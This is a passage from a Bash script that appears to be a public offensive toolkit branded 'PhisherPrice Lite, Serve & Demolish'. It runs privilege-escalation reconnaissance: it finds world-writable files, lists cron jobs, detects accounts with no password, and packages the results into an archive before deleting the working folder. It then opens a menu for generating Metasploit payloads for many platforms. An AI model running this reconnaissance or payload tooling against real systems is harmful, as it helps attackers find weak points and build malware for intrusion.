runTest "World_Writable_Files" "find / -writable ! -user `whoami` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null"
runTest "World_Writable_Files" "find / -perm -2 -type f 2>/dev/null"
runTest "World_Writable_Files" "find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null"
runTest "Crontab_Jobs" "crontab -l"
## Collect Logs: find /var/log -mtime -$logDate -exec cp {} $tmp/logs/ \; nested folders are huge!!
##++++++++++++++++ Docker Data.rtf+++++++++++++++++++++++
## CURRENT_FILE=$folderName/docker_data.rtf
## touch $CURRENT_FILE
## insertHeader $projectName "Docker_Container_Enumeration"
## runTest "" "" https://docs.docker.com/engine/reference/commandline/container_ls/
##++++++++++++++++ Zip Data and Remove Files +++++++++++++++++++++++
CURRENT_FILE=$folderName/system_data.rtf
DATE=$(date +"%d %B %Y")
TIME=$(date +"%T")
CURRENT_PATH=$(pwd)
printf "\n\n" | tee -a $CURRENT_FILE
printf "Process Completed\n" | tee -a $CURRENT_FILE
printf -- "------------------------------------\n" | tee -a $CURRENT_FILE
printf "End Time: \t $TIME\n" | tee -a $CURRENT_FILE
printf "End Date: \t $DATE\n" | tee -a $CURRENT_FILE
printf "\n\n" | tee -a $CURRENT_FILE
## END ##
FINAL_PATH="$CURRENT_PATH/$folderName.tgz"
printf "Compressing Results into Package\n\n"
tar -czvf $FINAL_PATH $folderName/*
printf "\nCleaning up\n\n"
rm -rf $folderName
printf "Results will be stored here: \t $FINAL_PATH \n\n"
read
elif [ "$x" == "$nopass" ]; then #hynull-Option-9
get_user_names(){
nopass=`passwd -${1}a | grep -o "^.* NP"`
for i in ${nopass/ /_}
{
nopassnames="${nopassnames:- } $i"
}
}
if [[ "$OSTYPE" == *linux-gnu* ]]; then
get_user_names S
elif [[ "$OSTYPE" == *sunos* ]]; then
get_user_names s
fi
if [ -z "$nopassnames" ]
then
echo "Good - All user accounts have a password."
else
echo "ERROR: The users listed below have no password set:"\
" ${nopassnames//_NP/}" 1>&2
exit 1
fi
read
else
n
fi
elif [ "$x" == "$option3" ]; then #Option3
clear
echo -e '\e[1;33m
///, ////
\ /, / >.
\ /, _/ /.
\_ /_/ /.
\__/_ < PhisherPrice Lite
/<<< \_\_ Serve & Demolish
/,)^>>_._ \ Version 1.0.3 [BETA]
(/ \\ /\\\ [\e[3;31m PUBLIC \e[1;33m]
// //```
------((`((--------------------\e[3;31m
MSF Payload \e[1;33m
------------------------------- \e[0m\e[3;39m
(1) Windows
(2) Linux
(3) OSX
(4) APK
(5) ASP
(6) ASPX
(7) Bash
(8) Java
(9) Perl
(10) PHP
(11) Powershell
(12) Python
(13) Tomcat
(c) Launch msfconsole \e[1;33m
------------------------------- \e[0m\e[3;39m
CTRL + C To Exit \e[1;33m
------------------------------- \e[0m\e[3;39m
Press ENTER To Go To Main Menu \e[1;33m
------------------------------- \e[0m\e[3;39m'
echo -e $Blue" ┌─["$red"S&D$Blue]──[$red~$Blue]─["$yellow"MSFP$Blue]"
read -p " └─────► " x
cyouro1='1'
cyouro2='2'
cyouro3='3'
cyouro4='4'
cyouro5='5'
cyouro6='6'
cyouro7='7'
cyouro8='8'
cyouro9='9'
cyouro10='10'